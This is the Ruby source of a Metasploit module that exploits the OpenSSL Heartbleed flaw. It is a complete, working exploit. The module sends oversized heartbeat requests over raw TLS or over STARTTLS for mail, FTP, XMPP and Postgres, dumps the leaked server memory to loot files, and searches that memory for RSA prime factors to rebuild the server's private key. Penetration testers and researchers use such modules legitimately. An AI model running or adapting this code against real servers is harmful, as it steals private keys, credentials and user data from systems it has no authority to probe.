1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818
|
class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report
CIPHER_SUITES = [ 0xc014, 0xc00a, 0xc022, 0xc021, 0x0039, 0x0038, 0x0088, 0x0087, 0x0087, 0xc00f, 0x0035, 0x0084, 0xc012, 0xc008, 0xc01c, 0xc01b, 0x0016, 0x0013, 0xc00d, 0xc003, 0x000a, 0xc013, 0xc009, 0xc01f, 0xc01e, 0x0033, 0x0032, 0x009a, 0x0099, 0x0045, 0x0044, 0xc00e, 0xc004, 0x002f, 0x0096, 0x0041, 0xc011, 0xc007, 0xc00c, 0xc002, 0x0005, 0x0004, 0x0015, 0x0012, 0x0009, 0x0014, 0x0011, 0x0008, 0x0006, 0x0003, 0x00ff ]
SSL_RECORD_HEADER_SIZE = 0x05 HANDSHAKE_RECORD_TYPE = 0x16 HEARTBEAT_RECORD_TYPE = 0x18 ALERT_RECORD_TYPE = 0x15 HANDSHAKE_SERVER_HELLO_TYPE = 0x02 HANDSHAKE_CERTIFICATE_TYPE = 0x0b HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
TLS_VERSION = { 'SSLv3' => 0x0300, '1.0' => 0x0301, '1.1' => 0x0302, '1.2' => 0x0303 }
TLS_CALLBACKS = { 'SMTP' => :tls_smtp, 'IMAP' => :tls_imap, 'JABBER' => :tls_jabber, 'POP3' => :tls_pop3, 'FTP' => :tls_ftp, 'POSTGRES' => :tls_postgres }
SAFE_CHECK_MAX_RECORD_LENGTH = (1 << 14)
DEDUP_REPEATED_CHARS_THRESHOLD = 400
def initialize super( 'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak', 'Description' => %q{...}, 'Author' => [...], 'References' => [...], 'DisclosureDate' => '2014-04-07', 'License' => MSF_LICENSE, 'Actions' => [...], 'DefaultAction' => 'SCAN', 'Notes' => {...} )
register_options( [ Opt::RPORT(443), OptEnum.new('TLS_CALLBACK', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP', 'POSTGRES' ]]), OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]), OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 50]), OptInt.new('STATUS_EVERY', [true, 'How many retries until key dump status', 5]), OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]), OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]), OptInt.new('LEAK_COUNT', [true, 'Number of times to leak memory per SCAN or DUMP invocation', 1]) ])
register_advanced_options( [ OptInt.new('HEARTBEAT_LENGTH', [true, 'Heartbeat length', 65535]), OptString.new('XMPPDOMAIN', [true, 'The XMPP Domain to use when Jabber is selected', 'localhost']) ])
end
def check_host(ip) @check_only = true vprint_status "Checking for Heartbleed exposure" if bleed Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end
def run if heartbeat_length > 65535 || heartbeat_length < 0 print_error('HEARTBEAT_LENGTH should be a natural number less than 65536') return end
if response_timeout < 0 print_error('RESPONSE_TIMEOUT should be bigger than 0') return end
super end
def run_host(ip) case action.name when 'SCAN', 'DUMP' bleeded = ''
1.upto(leak_count) do |count| vprint_status("Leaking heartbeat response ##{count}") bleeded << bleed.to_s end
loot_and_report(bleeded) when 'KEYS' get_keys else print_error("Unknown Action: #{action.name}") end
disconnect end
def heartbeat_length if @check_only SAFE_CHECK_MAX_RECORD_LENGTH else datastore['HEARTBEAT_LENGTH'] end end
def response_timeout datastore['RESPONSE_TIMEOUT'] end
def tls_version datastore['TLS_VERSION'] end
def dumpfilter datastore['DUMPFILTER'] end
def max_keytries datastore['MAX_KEYTRIES'] end
def xmpp_domain datastore['XMPPDOMAIN'] end
def status_every datastore['STATUS_EVERY'] end
def tls_callback datastore['TLS_CALLBACK'] end
def leak_count datastore['LEAK_COUNT'] end
def tls_smtp get_data sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n") res = get_data
unless res && res =~ /STARTTLS/ return nil end sock.put("STARTTLS\r\n") get_data end
def tls_imap get_data sock.put("a001 CAPABILITY\r\n") res = get_data unless res && res =~ /STARTTLS/i return nil end sock.put("a002 STARTTLS\r\n") get_data end
def tls_postgres get_data psql_sslrequest = [8].pack('N') psql_sslrequest << [1234, 5679].pack('n*') sock.put(psql_sslrequest) res = get_data unless res && res =~ /S/ return nil end res end
def tls_pop3 get_data sock.put("CAPA\r\n") res = get_data if res.nil? || res =~ /^-/ || res !~ /STLS/ return nil end sock.put("STLS\r\n") res = get_data if res.nil? || res =~ /^-/ return nil end res end
def jabber_connect_msg(hostname) msg = "<stream:stream xmlns='jabber:client' " msg << "xmlns:stream='http://etherx.jabber.org/streams' " msg << "version='1.0' " msg << "to='#{hostname}'>" end
def tls_jabber sock.put(jabber_connect_msg(xmpp_domain)) res = get_data if res && res.include?('host-unknown') jabber_host = res.match(/ from='([\w.]*)' /) if jabber_host && jabber_host[1] disconnect establish_connect vprint_status("Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...") sock.put(jabber_connect_msg(jabber_host[1])) res = get_data end end if res.nil? || res.include?('stream:error') || res !~ /<starttls xmlns=['"]urn:ietf:params:xml:ns:xmpp-tls['"]/ vprint_error("Jabber host unknown. Please try changing the XMPPDOMAIN option.") if res && res.include?('host-unknown') return nil end msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" sock.put(msg) res = get_data return nil if res.nil? || !res.include?('<proceed') res end
def tls_ftp res = get_data return nil if res.nil? sock.put("AUTH TLS\r\n") res = get_data return nil if res.nil? if res !~ /^234/ vprint_error("FTP error: #{res.strip}") return nil end res end
def get_data(length = -1) to_receive = length data = '' done = false while done == false begin temp = sock.get_once(to_receive, response_timeout) rescue EOFError break end
break if temp.nil?
data << temp if length != -1 to_receive -= temp.length done = true if to_receive <= 0 end end
data end
def to_hex_string(data) data.each_byte.map { |b| sprintf('%02X ', b) }.join.strip end
def establish_connect connect
unless tls_callback == 'None' vprint_status("Trying to start SSL via #{tls_callback}") res = self.send(TLS_CALLBACKS[tls_callback]) if res.nil? vprint_error("STARTTLS failed...") return nil end end
vprint_status("Sending Client Hello...") sock.put(client_hello)
server_resp = get_server_hello
if server_resp.nil? vprint_error("Server Hello Not Found") return nil end
server_resp end
def heartbeat_request(length) payload = "\x01" payload << [length].pack('n')
ssl_record(HEARTBEAT_RECORD_TYPE, payload) end
def bleed connect_result = establish_connect return if connect_result.nil?
vprint_status("Sending Heartbeat...") sock.put(heartbeat_request(heartbeat_length)) hdr = get_data(SSL_RECORD_HEADER_SIZE) if hdr.nil? || hdr.empty? vprint_error("No Heartbeat response...") disconnect return end
unpacked = hdr.unpack('Cnn') type = unpacked[0] version = unpacked[1] len = unpacked[2]
if type == ALERT_RECORD_TYPE res = get_data(len) alert_unp = res.unpack('CC') alert_level = alert_unp[0] alert_desc = alert_unp[1]
case alert_desc when 0x46 msg = 'Protocol error. Looks like the chosen protocol is not supported.' else msg = 'Unknown error' end vprint_error("#{msg}") disconnect return end
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[tls_version] vprint_error("Unexpected Heartbeat response header (#{to_hex_string(hdr)})") disconnect return end
heartbeat_data = get_data(heartbeat_length) vprint_status("Heartbeat response, #{heartbeat_data.length} bytes") disconnect heartbeat_data end
def loot_and_report(heartbeat_data) if heartbeat_data.to_s.empty? vprint_error("Looks like there isn't leaked information...") return end
print_good("Heartbeat response with leak, #{heartbeat_data.length} bytes") report_vuln({ :host => rhost, :port => rport, :name => self.name, :refs => self.references, :info => "Module #{self.fullname} successfully leaked info" })
if action.name == 'DUMP' pattern = dumpfilter if pattern match_data = heartbeat_data.scan(pattern).join else match_data = heartbeat_data end path = store_loot( 'openssl.heartbleed.server', 'application/octet-stream', rhost, match_data, nil, 'OpenSSL Heartbleed server memory' ) print_good("Heartbeat data stored in #{path}") end
printable_data = heartbeat_data.gsub(/[^[:print:]]/, '.')
duplicate_pad = (DEDUP_REPEATED_CHARS_THRESHOLD / 3).round
abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) do |s| s[0, duplicate_pad] + ' repeated ' + (s.length - (2 * duplicate_pad)).to_s + ' times ' + s[-duplicate_pad, duplicate_pad] end
vprint_status("Printable info leaked:\n#{abbreviated_data}") end
def get_keys connect_result = establish_connect disconnect return if connect_result.nil?
print_status("Scanning for private keys") count = 0
print_status("Getting public key constants...") n, e = get_ne
if n.nil? || e.nil? print_error("Failed to get public key, aborting.") end
vprint_status("n: #{n}") vprint_status("e: #{e}") print_status("#{Time.now.getutc} - Starting.")
max_keytries.times { if count % status_every == 0 print_status("#{Time.now.getutc} - Attempt #{count}...") end
bleedresult = bleed return unless bleedresult
p, q = get_factors(bleedresult, n)
unless p.nil? || q.nil? key = key_from_pqe(p, q, e) print_good("#{Time.now.getutc} - Got the private key")
print_status(key.export) path = store_loot( 'openssl.heartbleed.server', 'text/plain', rhost, key.export, nil, 'OpenSSL Heartbleed Private Key' ) print_status("Private key stored in #{path}") return end count += 1 } print_error("Private key not found. You can try to increase MAX_KEYTRIES and/or HEARTBEAT_LENGTH.") end
def get_ne unless @cert print_error("No certificate found") return end
return @cert.public_key.params['n'], @cert.public_key.params['e'] end
def get_factors(data, n) psize = n.num_bits / 8 / 2 return if data.nil?
(0..(data.length-psize)).each{ |x| can = OpenSSL::BN.new(data[x,psize].reverse.bytes.inject {|a,b| (a << 8) + b }.to_s) if can > 1 && can % 2 != 0 && can.num_bytes == psize q, rem = n / can if rem == 0 && can != n vprint_good("Found factor at offset #{x.to_s(16)}") p = can return p, q end end } return nil, nil end
def key_from_pqe(p, q, e) n = p * q phi = (p - 1) * (q - 1 ) d = OpenSSL::BN.new(e).mod_inverse(phi)
dmp1 = d % (p - 1) dmq1 = d % (q - 1) iqmp = q.mod_inverse(p)
asn1 = OpenSSL::ASN1::Sequence( [ OpenSSL::ASN1::Integer(0), OpenSSL::ASN1::Integer(n), OpenSSL::ASN1::Integer(e), OpenSSL::ASN1::Integer(d), OpenSSL::ASN1::Integer(p), OpenSSL::ASN1::Integer(q), OpenSSL::ASN1::Integer(dmp1), OpenSSL::ASN1::Integer(dmq1), OpenSSL::ASN1::Integer(iqmp) ] )
key = OpenSSL::PKey::RSA.new(asn1.to_der) key end
def ssl_record(type, data) record = [type, TLS_VERSION[tls_version], data.length].pack('Cnn') record << data end
def client_hello time_temp = Time.now time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
hello_data = [TLS_VERSION[tls_version]].pack('n') hello_data << [time_epoch].pack('N') hello_data << Rex::Text.rand_text(28) hello_data << "\x00" hello_data << [CIPHER_SUITES.length * 2].pack('n') hello_data << CIPHER_SUITES.pack('n*') hello_data << "\x01" hello_data << "\x00"
hello_data_extensions = "\x00\x0f" hello_data_extensions << "\x00\x01" hello_data_extensions << "\x01"
hello_data << [hello_data_extensions.length].pack('n') hello_data << hello_data_extensions
data = "\x01\x00" data << [hello_data.length].pack('n') data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data) end
def get_ssl_record hdr = get_data(SSL_RECORD_HEADER_SIZE)
unless hdr vprint_error("No SSL record header received after #{response_timeout} seconds...") return nil end
len = hdr.unpack('Cnn')[2] data = get_data(len) unless len.nil?
unless data vprint_error("No SSL record contents received after #{response_timeout} seconds...") return nil end
hdr << data end
def get_server_hello server_done = nil ssl_record_counter = 0
remaining_data = get_ssl_record
while remaining_data && remaining_data.length > 0 ssl_record_counter += 1 ssl_unpacked = remaining_data.unpack('CH4n') return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3 ssl_type = ssl_unpacked[0] ssl_version = ssl_unpacked[1] ssl_len = ssl_unpacked[2] vprint_status("SSL record ##{ssl_record_counter}:") vprint_status("\tType: #{ssl_type}") vprint_status("\tVersion: 0x#{ssl_version}") vprint_status("\tLength: #{ssl_len}") if ssl_type != HANDSHAKE_RECORD_TYPE vprint_status("\tWrong Record Type! (#{ssl_type})") else ssl_data = remaining_data[5, ssl_len] handshakes = parse_handshakes(ssl_data)
if handshakes && handshakes.length > 0 && handshakes[-1][:type] == HANDSHAKE_SERVER_HELLO_DONE_TYPE server_done = true break end
end
remaining_data = get_ssl_record end
server_done end
def parse_handshakes(data) remaining_data = data handshakes = [] handshake_count = 0 while remaining_data && remaining_data.length > 0 hs_unpacked = remaining_data.unpack('CCn') next if hs_unpacked.nil? or hs_unpacked.length < 3 hs_type = hs_unpacked[0] hs_len_pad = hs_unpacked[1] hs_len = hs_unpacked[2] hs_data = remaining_data[4, hs_len] handshake_count += 1 vprint_status("\tHandshake ##{handshake_count}:") vprint_status("\t\tLength: #{hs_len}")
handshake_parsed = nil case hs_type when HANDSHAKE_SERVER_HELLO_TYPE vprint_status("\t\tType: Server Hello (#{hs_type})") handshake_parsed = parse_server_hello(hs_data) when HANDSHAKE_CERTIFICATE_TYPE vprint_status("\t\tType: Certificate Data (#{hs_type})") handshake_parsed = parse_certificate_data(hs_data) when HANDSHAKE_KEY_EXCHANGE_TYPE vprint_status("\t\tType: Server Key Exchange (#{hs_type})") when HANDSHAKE_SERVER_HELLO_DONE_TYPE vprint_status("\t\tType: Server Hello Done (#{hs_type})") else vprint_status("\t\tType: Handshake type #{hs_type} not implemented") end
handshakes << { :type => hs_type, :len => hs_len, :data => handshake_parsed } remaining_data = remaining_data[(hs_len + 4)..-1] end
handshakes end
def parse_server_hello(data) version = data.unpack('H4')[0] vprint_status("\t\tServer Hello Version: 0x#{version}") random = data[2,32].unpack('H*')[0] vprint_status("\t\tServer Hello random data: #{random}") session_id_length = data[34,1].unpack('C')[0] vprint_status("\t\tServer Hello Session ID length: #{session_id_length}") session_id = data[35,session_id_length].unpack('H*')[0] vprint_status("\t\tServer Hello Session ID: #{session_id}")
true end
def parse_certificate_data(data) unpacked = data.unpack('Cn') cert_len_padding = unpacked[0] cert_len = unpacked[1] vprint_status("\t\tCertificates length: #{cert_len}") vprint_status("\t\tData length: #{data.length}") already_read = 3 cert_counter = 0 while already_read < cert_len cert_counter += 1 single_cert_unpacked = data[already_read, 3].unpack('Cn') single_cert_len_padding = single_cert_unpacked[0] single_cert_len = single_cert_unpacked[1] vprint_status("\t\tCertificate ##{cert_counter}:") vprint_status("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}") certificate_data = data[(already_read + 3), single_cert_len] cert = OpenSSL::X509::Certificate.new(certificate_data) @cert = cert if @cert.nil? vprint_status("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}") already_read = already_read + single_cert_len + 3 end
true end end
|